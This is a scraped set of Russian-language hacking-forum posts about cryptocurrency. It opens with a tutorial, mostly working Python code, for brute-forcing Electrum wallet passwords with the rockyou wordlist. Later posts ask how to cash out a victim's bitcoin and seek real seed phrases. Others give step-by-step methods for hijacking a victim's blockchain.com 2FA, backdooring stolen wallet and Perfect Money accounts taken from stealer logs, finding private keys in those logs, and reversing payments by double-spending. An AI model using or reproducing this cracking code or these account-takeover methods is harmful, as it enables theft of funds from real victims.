            raise Exception('public key could not be parsed or is invalid')
        return pubkey

    @classmethod
    def _from_libsecp256k1_pubkey_ptr(cls, pubkey) -> 'ECPubkey':
        pubkey_serialized = create_string_buffer(65)
        pubkey_size = c_size_t(65)
        _libsecp256k1.secp256k1_ec_pubkey_serialize(
            _libsecp256k1.ctx, pubkey_serialized, byref(pubkey_size), pubkey, SECP256K1_EC_UNCOMPRESSED)
        return ECPubkey(bytes(pubkey_serialized))

    def __mul__(self, other: int):
        
        if not isinstance(other, int):
            raise TypeError('multiplication not defined for ECPubkey and {}'.format(type(other)))

        other %= CURVE_ORDER
        
        if self.is_at_infinity() or other == 0:
            return POINT_AT_INFINITY

        pubkey = self._to_libsecp256k1_pubkey_ptr()

        ret = _libsecp256k1.secp256k1_ec_pubkey_tweak_mul(_libsecp256k1.ctx, pubkey, other.to_bytes(32, byteorder="big"))
        
        if not ret:
            return POINT_AT_INFINITY

        return ECPubkey._from_libsecp256k1_pubkey_ptr(pubkey)

CURVE_ORDER = 0xFFFFFFFF_FFFFFFFF_FFFFFFFF_FFFFFFFE_BAAEDCE6_AF48A03B_BFD25E8C_D0364141
GENERATOR = ECPubkey(bytes.fromhex('0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798'
                                   '483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8'))
POINT_AT_INFINITY = ECPubkey(None)

class ECPrivkey(ECPubkey):
    def __init__(self, privkey_bytes: bytes):
        
        assert_bytes(privkey_bytes)
        if len(privkey_bytes) != 32:
            raise Exception('unexpected size for secret. should be 32 bytes, not {}'.format(len(privkey_bytes)))
    
        secret = string_to_number(privkey_bytes)

        if not is_secret_within_curve_range(secret):
            raise InvalidECPointException('Invalid secret scalar (not within curve order)')
        self.secret_scalar = secret

        pubkey = GENERATOR * secret

        super().__init__(pubkey.get_public_key_bytes(compressed=False))

    @classmethod
    def from_arbitrary_size_secret(cls, privkey_bytes: bytes):
        return ECPrivkey(cls.normalize_secret_bytes(privkey_bytes))

    @classmethod
    def normalize_secret_bytes(cls, privkey_bytes: bytes) -> bytes:
        scalar = string_to_number(privkey_bytes) % CURVE_ORDER
        if scalar == 0:
            raise Exception('invalid EC private key scalar: zero')
        privkey_32bytes = int.to_bytes(scalar, length=32, byteorder='big', signed=False)
        return privkey_32bytes

    def decrypt_message(self, encrypted: Union[str, bytes], magic: bytes=b'BIE1') -> bytes:
        
        encrypted = base64.b64decode(encrypted)
        if len(encrypted) < 85:
            return False
        
        magic_found = encrypted[:4]
        ephemeral_pubkey_bytes = encrypted[4:37]
        ciphertext = encrypted[37:-32]
        mac = encrypted[-32:]
        if magic_found != magic:
            return False
        try:
            ephemeral_pubkey = ECPubkey(ephemeral_pubkey_bytes)
        
        except InvalidECPointException as e:
            return False
        
        ecdh_key = (ephemeral_pubkey * self.secret_scalar).get_public_key_bytes(compressed=True)
        key = hashlib.sha512(ecdh_key).digest()
        iv, key_e, key_m = key[0:16], key[16:32], key[32:]

        if mac != hmac_oneshot(key_m, encrypted[:-32], hashlib.sha256):
            return False
        else:
            return True

Здесь мы обращаемся к:

Давайте их позаимствуем из соответствующих electrum/* py-файлов:
создаем в директории src: util.py, ecc_fast.py, crypto.py соответственно.

И теперь наш init.py примет следующий вид:

init.py

Code:Copy to clipboard

from . import ecc
from . import util
from . import ecc_fast
from . import crypto

Дальше я подумал за Вас и оставил все самое необходимое из кучи ненужного кода:

ecc_fast.py

Python:Copy to clipboard

import os
import sys
import ctypes
from ctypes import (
    byref, c_byte, c_int, c_uint, c_char_p, c_size_t, c_void_p, create_string_buffer,
    CFUNCTYPE, POINTER, cast
)

SECP256K1_FLAGS_TYPE_MASK = ((1 << 8) - 1)
SECP256K1_FLAGS_TYPE_CONTEXT = (1 << 0)
SECP256K1_FLAGS_TYPE_COMPRESSION = (1 << 1)
# /** The higher bits contain the actual data. Do not use directly. */
SECP256K1_FLAGS_BIT_CONTEXT_VERIFY = (1 << 8)
SECP256K1_FLAGS_BIT_CONTEXT_SIGN = (1 << 9)
SECP256K1_FLAGS_BIT_COMPRESSION = (1 << 8)

# /** Flags to pass to secp256k1_context_create. */
SECP256K1_CONTEXT_VERIFY = (SECP256K1_FLAGS_TYPE_CONTEXT | SECP256K1_FLAGS_BIT_CONTEXT_VERIFY)
SECP256K1_CONTEXT_SIGN = (SECP256K1_FLAGS_TYPE_CONTEXT | SECP256K1_FLAGS_BIT_CONTEXT_SIGN)
SECP256K1_CONTEXT_NONE = (SECP256K1_FLAGS_TYPE_CONTEXT)

SECP256K1_EC_COMPRESSED = (SECP256K1_FLAGS_TYPE_COMPRESSION | SECP256K1_FLAGS_BIT_COMPRESSION)
SECP256K1_EC_UNCOMPRESSED = (SECP256K1_FLAGS_TYPE_COMPRESSION)


class LibModuleMissing(Exception): pass


def load_library()

    library_paths = ['/usr/lib/libsecp256k1.so.0']

    exceptions = []
    secp256k1 = None
    for libpath in library_paths:
        try:
            secp256k1 = ctypes.cdll.LoadLibrary(libpath)
        except BaseException as e:
            exceptions.append(e)
        else:
            break
    if not secp256k1:
        print(f'libsecp256k1 library failed to load. exceptions: {repr(exceptions)}')
        return None

    try:
        secp256k1.secp256k1_context_create.argtypes = [c_uint]
        secp256k1.secp256k1_context_create.restype = c_void_p

        secp256k1.secp256k1_context_randomize.argtypes = [c_void_p, c_char_p]
        secp256k1.secp256k1_context_randomize.restype = c_int

        secp256k1.secp256k1_ec_pubkey_create.argtypes = [c_void_p, c_void_p, c_char_p]
        secp256k1.secp256k1_ec_pubkey_create.restype = c_int

        secp256k1.secp256k1_ecdsa_sign.argtypes = [c_void_p, c_char_p, c_char_p, c_char_p, c_void_p, c_void_p]
        secp256k1.secp256k1_ecdsa_sign.restype = c_int

        secp256k1.secp256k1_ecdsa_verify.argtypes = [c_void_p, c_char_p, c_char_p, c_char_p]
        secp256k1.secp256k1_ecdsa_verify.restype = c_int

        secp256k1.secp256k1_ec_pubkey_parse.argtypes = [c_void_p, c_char_p, c_char_p, c_size_t]
        secp256k1.secp256k1_ec_pubkey_parse.restype = c_int

        secp256k1.secp256k1_ec_pubkey_serialize.argtypes = [c_void_p, c_char_p, c_void_p, c_char_p, c_uint]
        secp256k1.secp256k1_ec_pubkey_serialize.restype = c_int

        secp256k1.secp256k1_ecdsa_signature_parse_compact.argtypes = [c_void_p, c_char_p, c_char_p]
        secp256k1.secp256k1_ecdsa_signature_parse_compact.restype = c_int

        secp256k1.secp256k1_ecdsa_signature_normalize.argtypes = [c_void_p, c_char_p, c_char_p]
        secp256k1.secp256k1_ecdsa_signature_normalize.restype = c_int

        secp256k1.secp256k1_ecdsa_signature_serialize_compact.argtypes = [c_void_p, c_char_p, c_char_p]
        secp256k1.secp256k1_ecdsa_signature_serialize_compact.restype = c_int

        secp256k1.secp256k1_ecdsa_signature_parse_der.argtypes = [c_void_p, c_char_p, c_char_p, c_size_t]
        secp256k1.secp256k1_ecdsa_signature_parse_der.restype = c_int

        secp256k1.secp256k1_ecdsa_signature_serialize_der.argtypes = [c_void_p, c_char_p, c_void_p, c_char_p]
        secp256k1.secp256k1_ecdsa_signature_serialize_der.restype = c_int

        secp256k1.secp256k1_ec_pubkey_tweak_mul.argtypes = [c_void_p, c_char_p, c_char_p]
        secp256k1.secp256k1_ec_pubkey_tweak_mul.restype = c_int

        secp256k1.secp256k1_ec_pubkey_combine.argtypes = [c_void_p, c_char_p, c_void_p, c_size_t]
        secp256k1.secp256k1_ec_pubkey_combine.restype = c_int

        # --enable-module-recovery
        try:
            secp256k1.secp256k1_ecdsa_recover.argtypes = [c_void_p, c_char_p, c_char_p, c_char_p]
            secp256k1.secp256k1_ecdsa_recover.restype = c_int

            secp256k1.secp256k1_ecdsa_recoverable_signature_parse_compact.argtypes = [c_void_p, c_char_p, c_char_p, c_int]
            secp256k1.secp256k1_ecdsa_recoverable_signature_parse_compact.restype = c_int
        except (OSError, AttributeError):
            raise LibModuleMissing('libsecp256k1 library found but it was built '
                                   'without required module (--enable-module-recovery)')

        secp256k1.ctx = secp256k1.secp256k1_context_create(SECP256K1_CONTEXT_SIGN | SECP256K1_CONTEXT_VERIFY)
        ret = secp256k1.secp256k1_context_randomize(secp256k1.ctx, os.urandom(32))
        if not ret:
            print('secp256k1_context_randomize failed')
            return None

        return secp256k1
    except (OSError, AttributeError) as e:
        print(f'libsecp256k1 library was found and loaded but there was an error when using it: {repr(e)}')
        return None


_libsecp256k1 = None
try:
    _libsecp256k1 = load_library()
except BaseException as e:
    print(f'failed to load libsecp256k1: {repr(e)}')


if _libsecp256k1 is None:
    # hard fail:
    sys.exit(f"Error: Failed to load libsecp256k1.")

Обязательно измените путь к libsecp256k1! Он представлен в виде списка в методе load_library()
Стоит отметить, т.к. я пишу брут под Ubuntu то для обнаружения libsecp256k1 я оставил единственный путь:

Python:Copy to clipboard

library_paths = ['/usr/lib/x86_64-linux-gnu/libsecp256k1.so.0']

PS: Чтобы найти libsecp256k1.so.0 на вашей системе воспользуйтесь утилитой find:

Python:Copy to clipboard

find /usr/ -iname "libsecp256k1.so.0"

util.py

Python:Copy to clipboard

def assert_bytes(*args):
    """
    porting helper, assert args type
    """
    try:
        for x in args:
            assert isinstance(x, (bytes, bytearray))
    except:
        print('assert bytes failed', list(map(type, args)))
        raise

crypto.py

Python:Copy to clipboard

import hmac

from src.util import assert_bytes

def hmac_oneshot(key: bytes, msg: bytes, digest) -> bytes:
    if hasattr(hmac, 'digest'):
        # requires python 3.7+; faster
        return hmac.digest(key, msg, digest)
    else:
        return hmac.new(key, msg, digest).digest()

Готово! Осталось разобраться с пока что не очень понятным ecc.py

Продублирую дабы Вам не скролить:

ecc.py

Python:Copy to clipboard

from typing import Union, Tuple, Optional
from ctypes import (
    byref, c_byte, c_int, c_uint, c_char_p, c_size_t, c_void_p, create_string_buffer,
    CFUNCTYPE, POINTER, cast
)
import base64
import hashlib

from src.util import assert_bytes
from src.ecc_fast import _libsecp256k1, SECP256K1_EC_UNCOMPRESSED
from src.crypto import hmac_oneshot

def string_to_number(b: bytes) -> int:
    return int.from_bytes(b, byteorder='big', signed=False)

def is_secret_within_curve_range(secret: Union[int, bytes]) -> bool:
    if isinstance(secret, bytes):
        secret = string_to_number(secret)
    return 0 < secret < CURVE_ORDER

def _x_and_y_from_pubkey_bytes(pubkey: bytes) -> Tuple[int, int]:
    assert isinstance(pubkey, bytes), f'pubkey must be bytes, not {type(pubkey)}'
    
    pubkey_ptr = create_string_buffer(64)
    ret = _libsecp256k1.secp256k1_ec_pubkey_parse(
        _libsecp256k1.ctx, pubkey_ptr, pubkey, len(pubkey))
    if not ret:
        raise InvalidECPointException('public key could not be parsed or is invalid')

    pubkey_serialized = create_string_buffer(65)
    pubkey_size = c_size_t(65)
    _libsecp256k1.secp256k1_ec_pubkey_serialize(
        _libsecp256k1.ctx, pubkey_serialized, byref(pubkey_size), pubkey_ptr, SECP256K1_EC_UNCOMPRESSED)
    pubkey_serialized = bytes(pubkey_serialized)
    assert pubkey_serialized[0] == 0x04, pubkey_serialized
    x = int.from_bytes(pubkey_serialized[1:33], byteorder='big', signed=False)
    y = int.from_bytes(pubkey_serialized[33:65], byteorder='big', signed=False)
    return x, y

class ECPubkey(object):
    
    def __init__(self, b: Optional[bytes]):
        if b is not None:
            assert isinstance(b, (bytes, bytearray)), f'pubkey must be bytes-like, not {type(b)}'
            if isinstance(b, bytearray):
                b = bytes(b)
            self._x, self._y = _x_and_y_from_pubkey_bytes(b)
        else:
            self._x, self._y = None, None

    def is_at_infinity(self):
        return self == POINT_AT_INFINITY

    def x(self) -> int:
        return self._x

    def y(self) -> int:
        return self._y

    def get_public_key_bytes(self, compressed=True):
        if self.is_at_infinity(): raise Exception('point is at infinity')
        x = int.to_bytes(self.x(), length=32, byteorder='big', signed=False)
        y = int.to_bytes(self.y(), length=32, byteorder='big', signed=False)
        if compressed:
            header = b'\x03' if self.y() & 1 else b'\x02'
            return header + x
        else:
            header = b'\x04'
            return header + x + y

    def _to_libsecp256k1_pubkey_ptr(self):
        pubkey = create_string_buffer(64)
        public_pair_bytes = self.get_public_key_bytes(compressed=False)
        ret = _libsecp256k1.secp256k1_ec_pubkey_parse(
            _libsecp256k1.ctx, pubkey, public_pair_bytes, len(public_pair_bytes))
        if not ret:
            raise Exception('public key could not be parsed or is invalid')
        return pubkey

    @classmethod
    def _from_libsecp256k1_pubkey_ptr(cls, pubkey) -> 'ECPubkey':
        pubkey_serialized = create_string_buffer(65)
        pubkey_size = c_size_t(65)
        _libsecp256k1.secp256k1_ec_pubkey_serialize(
            _libsecp256k1.ctx, pubkey_serialized, byref(pubkey_size), pubkey, SECP256K1_EC_UNCOMPRESSED)
        return ECPubkey(bytes(pubkey_serialized))

    def __mul__(self, other: int):
        
        if not isinstance(other, int):
            raise TypeError('multiplication not defined for ECPubkey and {}'.format(type(other)))

        other %= CURVE_ORDER
        
        if self.is_at_infinity() or other == 0:
            return POINT_AT_INFINITY

        pubkey = self._to_libsecp256k1_pubkey_ptr()

        ret = _libsecp256k1.secp256k1_ec_pubkey_tweak_mul(_libsecp256k1.ctx, pubkey, other.to_bytes(32, byteorder="big"))
        
        if not ret:
            return POINT_AT_INFINITY

        return ECPubkey._from_libsecp256k1_pubkey_ptr(pubkey)

CURVE_ORDER = 0xFFFFFFFF_FFFFFFFF_FFFFFFFF_FFFFFFFE_BAAEDCE6_AF48A03B_BFD25E8C_D0364141
GENERATOR = ECPubkey(bytes.fromhex('0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798'
                                   '483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8'))
POINT_AT_INFINITY = ECPubkey(None)

class ECPrivkey(ECPubkey):
    def __init__(self, privkey_bytes: bytes):
        
        assert_bytes(privkey_bytes)
        if len(privkey_bytes) != 32:
            raise Exception('unexpected size for secret. should be 32 bytes, not {}'.format(len(privkey_bytes)))
    
        secret = string_to_number(privkey_bytes)

        if not is_secret_within_curve_range(secret):
            raise InvalidECPointException('Invalid secret scalar (not within curve order)')
        self.secret_scalar = secret

        pubkey = GENERATOR * secret

        super().__init__(pubkey.get_public_key_bytes(compressed=False))

    @classmethod
    def from_arbitrary_size_secret(cls, privkey_bytes: bytes):
        return ECPrivkey(cls.normalize_secret_bytes(privkey_bytes))

    @classmethod
    def normalize_secret_bytes(cls, privkey_bytes: bytes) -> bytes:
        scalar = string_to_number(privkey_bytes) % CURVE_ORDER
        if scalar == 0:
            raise Exception('invalid EC private key scalar: zero')
        privkey_32bytes = int.to_bytes(scalar, length=32, byteorder='big', signed=False)
        return privkey_32bytes

    def decrypt_message(self, encrypted: Union[str, bytes], magic: bytes=b'BIE1') -> bytes:

        encrypted = base64.b64decode(encrypted)
        if len(encrypted) < 85:
            return False
        
        magic_found = encrypted[:4]
        ephemeral_pubkey_bytes = encrypted[4:37]
        ciphertext = encrypted[37:-32]
        mac = encrypted[-32:]
        if magic_found != magic:
            return False
        try:
            ephemeral_pubkey = ECPubkey(ephemeral_pubkey_bytes)
        except:
            return False
        
        ecdh_key = (ephemeral_pubkey * self.secret_scalar).get_public_key_bytes(compressed=True)
        key = hashlib.sha512(ecdh_key).digest()
        iv, key_e, key_m = key[0:16], key[16:32], key[32:]

        if mac != hmac_oneshot(key_m, encrypted[:-32], hashlib.sha256):
            return False
        else:
            return True

Создание публичного ключа берет свое начало с

Code:Copy to clipboard

pubkey = GENERATOR * secret

Переменная GENERATOR есть ECPubkey(bytes.fromhex('...')). т.е. прототип класса ECPubkey. Чтобы выполнить умножение ECPubkey на int, нужно учесть наличие метода __mul__ (multiplication) в классе ECPubkey.

Теперь разберем долгожданнй метод decrypt_message(), который вызывается в main.py и должен вернуть нам результат. На этом этапе стоит отметить, что у нас уже инициализованы классы ECPubkey и ECPrivkey ранее (держите это в голове)

Python:Copy to clipboard

def decrypt_message(self, encrypted: Union[str, bytes], magic: bytes=b'BIE1') -> bytes:

encrypted = base64.b64decode(encrypted)
if len(encrypted) < 85:
return False

magic_found = encrypted[:4]
ephemeral_pubkey_bytes = encrypted[4:37]
ciphertext = encrypted[37:-32]
mac = encrypted[-32:]
if magic_found != magic:
return False

try:
ephemeral_pubkey = ECPubkey(ephemeral_pubkey_bytes)
except:
return False

ecdh_key = (ephemeral_pubkey * self.secret_scalar).get_public_key_bytes(compressed=True)
key = hashlib.sha512(ecdh_key).digest()
iv, key_e, key_m = key[0:16], key[16:32], key[32:]

# здесь мы оставим только return False если пароль не соответствует искомому и return False в противном случае.
if mac != hmac_oneshot(key_m, encrypted[:-32], hashlib.sha256):
return False
else:
return True

Здесь мы видим, как наш кошелек рвется на куски, далее следуют магические вычесления на основании ephemeral_pubkey (временный публичный ключ) и в завершении если mac не равна hmac_oneshot(key_m, encrypted[:-32], hashlib.sha256) то "следующий пароль пжалста". Ну вот мы и почти у финиша, остается все это дело завернуть в многопоточность и потестировать.

Для достижения многопоточности будем использовать ThreadExecutorPool (кому как, а я просто привык с ней работать). Чтобы не перегружать и без того занятую память, будем читать файл с паролями построчно, а не грузить все их в память.

Вот что я предлагаю:

Python:Copy to clipboard

que = []
with open(file_with_password, 'r', errors='replace') as fd:
    for password in fd:
        password = password.rstrip()
        que.append(password)

        if len(que) == 1000:
            with ThreadPoolExecutor(max_workers=4) as pool:
                        pool.map(worker, que)
        que = []

if len(que) > 0:
    with ThreadPoolExecutor(max_workers=4) as pool:
        pool.map(worker, que)

Добавим прогресс бар: для этого установим удобный пакет tqdm:

Code:Copy to clipboard

python3 -m pip install tqdm

Здесь стоит отметить, что нам придется перед началом перебора паролей узнать общее кол-во паролей в словаре, для отображения прогресса.

В итоге у нас получится что-то то такое:

main.py

Python:Copy to clipboard

from concurrent.futures import ThreadPoolExecutor
from tqdm import tqdm
import hashlib
import sys
import os

from src import ecc

class WalletStorage(object):
    def __init__(self, path):
        
        self.path = os.path.join( os.path.dirname(os.path.realpath(__file__)), path)
        self._file_exists = bool(self.path and os.path.exists(self.path))
        self.pubkey = None
        self.decrypted = ''

        with open(self.path, "r", encoding='utf-8') as f:
            self.raw = f.read()

    def _get_encryption_magic(self):
        return b'BIE1'

    def decrypt(self, password) -> None:
        ec_key = self.get_eckey_from_password(password)
        
        s = False
        if self.raw:
            enc_magic = self._get_encryption_magic()
            s = ec_key.decrypt_message(self.raw, enc_magic)
        if s:
            print()
            print('[+] %s' % password)
            exit()

    def check_password(self, password) -> None:
        global PBAR
        
        self.decrypt(password)
        PBAR.update(1)

    @staticmethod
    def get_eckey_from_password(password):
        secret = hashlib.pbkdf2_hmac('sha512', password.encode('utf-8'), b'', iterations=1024)
        ec_key = ecc.ECPrivkey.from_arbitrary_size_secret(secret)

        return ec_key

def main():

    global PBAR

    # get wallet name for args
    wallet_name = None
    if len(sys.argv) != 2:
        print('Usage: %s <wallet_name>' % sys.argv[0])
        exit()
    else:
        wallet_name = sys.argv[1]
        if not os.path.exists(wallet_name):
            print('Wallet not found in current directory.')
            exit()

    # init wallet
    wallet = WalletStorage(wallet_name)

    print('loading dict ...')
    dict_len = 0
    with open('rockyou.txt', 'r', errors='replace') as fd:
        for line in fd:
            dict_len += 1

    print('starting...')
    print()
    
    PBAR = tqdm(total=dict_len)

    que = []
    with open('rockyou.txt', 'r', errors='replace') as fd:
        for password in fd:
            password = password.rstrip()
            que.append(password)

            if len(que) == 1000:
                with ThreadPoolExecutor(max_workers=4) as pool:
                        pool.map(wallet.check_password, que)
                que = []

    if len(que) > 0:
        with ThreadPoolExecutor(max_workers=4) as pool:
            pool.map(wallet.check_password, que)

if __name__ == "__main__":
    main = main()

И такое:

Code:Copy to clipboard

venv
electrum
rockyou.txt
main.py
src
├── crypto.py
├── ecc_fast.py
├── ecc.py
├── __init__.py
└── util.py

3. Тестируем!

В качестве словаря будем использовать всем известный rockyou.

Создадим кошелек с простеньким паролем (у меня это password123), скопируем его в рабочую директорию и начнем тестировать.

PS: поставьте для тестирования пароль который есть в словаре. Наша задача убедится в корректности работы скрипта, а потом уже делайте все что душе угодно.

Code:Copy to clipboard

cp ~/.electrum/wallets/test_wallet ~/EBW_bf
python3 main.py test_wallet

ПК шумит, а мы просто ждем :)

Code:Copy to clipboard

loading dict ...
starting...

 38%|█████████                | 5491654/14344324 [6489.81it/s]
[+] testpassword123

PwN! Результат не заставил себя долго ждать. Надеюсь в этой статье Вы что-то подчеркнули для себя и будете использовать полученные знания в дальнейшем (естественно в благих целях). Всем успешной охоты!

Ссылка на реализацию: https://mega.nz/file/CkMHGSpD#rtkiwcI0vJeRtHOJl0mBmKfPAyZ9XPZsUdlM3ynh1uY

Статья написана в рамках конкурса "Криптовалютный конкурс статей!" для exploit.in
Источник
Автор: @alex_X40s

Кто на чём майнит монеро?
ID: 67686ad7b4103b69df379a32
Thread ID: 48434
Created: 2021-02-21T19:40:35+0000
Last Post: 2021-03-12T01:01:02+0000
Author: Shelby
Replies: 11 Views: 2K

Много где читал, что Monero майнят на процессорах, но после эксперемента на трёх мощных дорогущих процах получил скорость с каждого по 1500 H/s.
1500 H/s - это ничто, за 3 суток при общей скорости 4500 Н/s намайнилось 73 цента)))

Может кто подскажет путёвый проверенный майнер на видеокартах?
Хочется хотя бы 1 Мh/s получить.

Ребята, выручайте советом (криптовалюта DICE)
ID: 67686ad7b4103b69df379a3c
Thread ID: 46453
Created: 2021-01-07T23:41:36+0000
Last Post: 2021-02-12T08:07:19+0000
Author: mig
Replies: 13 Views: 2K

Помогите советом! Вот у жертвы 2 битка на ёбите в непонятной крипте DICE
Торговля по ней очень плохая
Куда можно слить балланс? Где торгуется этот токен?
% За помощь 0,5 битка при удачном выводе

prnt.sc

Screenshot

Captured with Lightshot

prnt.sc prnt.sc

Best Crypto so far to invest in ?
ID: 67686ad7b4103b69df379a3e
Thread ID: 46466
Created: 2021-01-08T03:41:40+0000
Last Post: 2021-02-04T21:33:54+0000
Author: n3xtr4n
Replies: 8 Views: 2K

Hello community.

I really wonder what are the best crypto so far that worth investing.

something we are able to invest in, Not BTC and Not Ethereum as they went too far.

any other alternatives ? maybe XMR ?

Thank you very much

Сберкоины
ID: 67686ad7b4103b69df379a41
Thread ID: 41977
Created: 2020-09-11T15:30:29+0000
Last Post: 2021-01-27T17:02:56+0000
Author: utrom
Replies: 10 Views: 2K

Всем сберкоины пацаны :) Начало истории январь 2020, при разработке обменника обнаружены полезные функции и это прямые транзакции в Киви, и у оного появился обменник "дочка". Следущая новость которая бодрит на фоне кризиза - запуск Сберкоина (это не единсвенный банк и организация приближенные к ВВ интегрируются) :) Значит ли это начало стадии "конец бумажкам"? Готовится ли к переброске активов? Инсайды, инсайды, больше инсайдов...

seed phrases Ищу
ID: 67686ad7b4103b69df379a4b
Thread ID: 44374
Created: 2020-11-15T23:06:30+0000
Last Post: 2020-12-24T11:06:22+0000
Author: SingleAdwice
Replies: 12 Views: 2K

Ни у кого нету коллекции 12 word фраз? Не генерка, а именно реальные кошельки. Ищу для тестов своей идеи, буду признателен

боты для торговли
ID: 67686ad7b4103b69df379a4c
Thread ID: 44775
Created: 2020-11-25T09:31:36+0000
Last Post: 2020-12-24T00:15:11+0000
Author: Tartarec
Replies: 6 Views: 2K

Приветствую присутствующих, подскажите пожалуйста кто сталкивался и с какими ботами для торговли, или сколько стоит написать или перешить бот под свои стратегии?

WMX-Адрес или BTC-Адрес. Webmoney WMX кошелёк.
ID: 67686ad7b4103b69df379a4e
Thread ID: 42893
Created: 2020-10-05T15:08:18+0000
Last Post: 2020-12-17T18:51:30+0000
Author: omne999666
Replies: 13 Views: 2K

Например: 13QVG6tmNTJ1bbpfafpc3ZhLRpkAk3L1WP оставлю свой на нем в данный момент при покупке с WMZ кошелька на WMX кошелёк вышло 0.02 WMX или при курсе обмена покупки 0.25 WMZ всего истрачено 0.26 WMZ смысл сам уяснён что комиссия перевода составляет 4.4% результат в основном в другом тут же информации сайта официального электронных денег который в указан названии этого напечатанного изъяснения ситуации состоит в другом информационное текст оповещение для собственного BTC-Адрес.
Минимальная сумма разрешённая пополнения: 0.0001 BTC нет или минимальная сумма пополнения: 0.1 mBTC
А где посмотреть детали в моем BTC-Адрес количества 0.00002 BTC если допустимый размер комиссии зависит от текущих комиссий в сети Bitcoin, но не менее 0.00003 BTC и не более 0.010 BTC и вовсе Гарантом установлен курс 0.001 BTC ровно 1 WMX.
К чем сами вопросы о возможностях использования BTC-Адрес.
0] Где получать этот BTC-Адрес ?
-1 Как увидеть BTC-Адрес и его список пополнения операций таких как переводы отправка и получение ?
2. На одного пользователя всегда один BTC-Адрес ?
3: Почему иногда пользователи указывают в сообщения и на сайте свой BTC-Адрес ?
4) Как пополнять Депозит на форуме через coinbase.com просто отправлять указанную сумму с комиссией на указанный там BTC-Адрес и ждать через некоторое время автоматического зачисления на форуме в профиле количество перевода без 1% на BTC-Адрес ?
5; Существую ли какие то блокировки BTC-Адрес и правила его использования ?
6} Можно ли пополнить BTC-Адрес с помощью платного мобильного абонентного смс сообщения одного из операторов сотовой связи с определённого сервиса или только сторонние интернет деньги или кошельки в интернет деньгах как в Webmoney это кошельки WMR, WMU, WMZ ?
7| BTC-Адрес есть в каких сервисах там где его можно получить, кроме Webmoney ?
№8 Все счета имеют всегда 34 расширения ASCII таблицы верхнего и среднего (раньше нижнего) регистра символов и цифр ?

Могу ли я купить биткойн и монеро с помощью PayPal и банковских карт без подтверждения личности?
ID: 67686ad7b4103b69df379a4f
Thread ID: 40903
Created: 2020-08-14T11:08:49+0000
Last Post: 2020-12-16T23:08:55+0000
Author: abeona11
Replies: 10 Views: 2K

Могу ли я купить биткойн и монеро с помощью PayPal и банковских карт без подтверждения личности?

покупать криптовалюту без проверки идентификатора ?
ID: 67686ad7b4103b69df379a50
Thread ID: 44629
Created: 2020-11-21T22:28:11+0000
Last Post: 2020-12-16T23:04:02+0000
Author: kastel514
Replies: 7 Views: 2K

кто знает, где я могу купить криптовалюту с помощью кредитной карты без проверки личности

Перевязуем 2-FA Blockchain
ID: 67686ad7b4103b69df379a55
Thread ID: 44698
Created: 2020-11-23T15:15:37+0000
Last Post: 2020-11-23T15:15:37+0000
Author: Tubu
Prefix: Мануал/Книга
Replies: 0 Views: 2K

Перевязуем 2-FA Blockchain

И так для начала нам нужно .

1.Wallet id от blockchain .
2.Пароль от blockchain .
3.Мыло на которое привязан кошель .
4.Ранее зарегистрированная наша почта на которую будем перевязывать кошелек.

Приступим
Вводим данные кошеля и отправляем 2-фа (делаем вид что мы кх)
1.jpg
После Входа и отправки 2-фа клацаем 5 пункт и скидуем 2-фа 6-пункт
2.jpg
7.Пункт вводим wallet id который в начале вводили.
8.Пункт вводим мыло КХ .
9. Наше мыло
3.jpg
10.Жмем дальше
11.Подтверждаем CAPTCHA
4.jpg
Если выбивает как на фото внизу,значить мыло П.8 не подошло к wallet id (тут можно и подбрутить если есть)
Возвращяемся назад и меняем 8
5.jpg
если мыло подошло покажет такое табло
6.jpg
Заходим на свое мыло и подтверждаем сброс
После данных действий желательно проспамить почту кх
сброс идет от 3 до 15 дней
вам на почту должно прийти письмо как ниже на фото ,но не факт 50 на 50 если скинут.
7.jpg
Если пришло письмо можете заходить под wallet id и паролем кх 2-fa теперь на ваше мыло летит.
Способ требователен к настройке системы!

Когда отрабатываете логи, многое можете пропустить в текстовиках с раб.стола и тому подобных
Для себя я придумал маленький лайфхак, ключ эфира состоит из 64 символов. Сделал регулярку, для поиска этих самых ключей. (Импровизируйте, может придумаете, аналоги с другими криптовалютами)
Для поиска я использовал Тотал Коммандер, можно через нотепад.

Отмена транзакции Bitcoin. От А до Я.
ID: 67686ad7b4103b69df379a58
Thread ID: 44559
Created: 2020-11-20T06:24:52+0000
Last Post: 2020-11-20T11:33:22+0000
Author: Tubu
Prefix: Статья
Replies: 1 Views: 2K

Бэкдор кошелька blockchain.com

Бывало ли у вас, что зайдя на blockchain вы видите хорошие транзакции, но на балансе либо ноль, либо какая-то маленькая сумма? У меня - да. В этой ситуации оптимальным (на мой взгляд) решением будет бекдор кошелька.

В чем суть?

Во вкладке Security center мы делаем бекап фразу кошелька и сохраняем себе. Все. Вы превосходны.
5.png
Если у юзера она уже есть - тем лучше, он не обратит внимания на новую галочку в настройках.

Также мы можем чекать баланс кошелька по биткоин адресу и xpub на blockchain.
Последний можно получить в Settings > Wallets and Addresses > Manage > Show xpub
6.png

Данный трюк можно провернуть на забытом всем перфектмани. В настройках аккаунта отключаем подтверждение входа (код на почту), меняем почту на свою НО пароль оставляем прежним.
В результате, когда юзер зайдет на аккаунт, у него не будет подтверждения по почте (возможно его это смутит, но да ладно). Мы же можем время от времени заходить на акк и чекать баланс.

Чтобы мониторить биткоин нужно софт делать. Я бы сделал, но не смог найти ни один нормальный бесплатный безлимитный api для чека. Раньше, до обновления сайта blockchain, я просто парсил содержимое страницы, сейчас нужно переделывать.
А с остальными сервисами сложнее. Но в принципе, если ты бекдоришь, то скорее всего бекдоришь хороший лог, а хороших логов обычно мало (говорю за себя). Ну и в принципе потратить лишние 5 минут и зачекать пару-тройку кошельков раз в неделю не так сложно. У блокчейна свой апи есть, лимит 1 запрос в 10 секунд, на крон повесил скрипт и все!

Трюк с Perfect Money с логов. Делаем свой доступ.

В настройках аккаунта отключаем подтверждение входа (код на почту), меняем почту на свою НО пароль оставляем прежним.
В результате, когда юзер зайдет на аккаунт, у него не будет подтверждения по почте (возможно его это смутит, но да ладно). Мы же можем время от времени заходить на акк и чекать баланс.

Часть 1ая техническая

Возврат биткоинов будет осуществляться за счет функции биткоина Double spend -двойная трата(это хотели убрать но передумали), ее можно совершить при помощи кошелька Electrum и технологией замены комиссии RBF, но все это возможно только тогда когда еще нет ни одного подтверждения в транзакции.

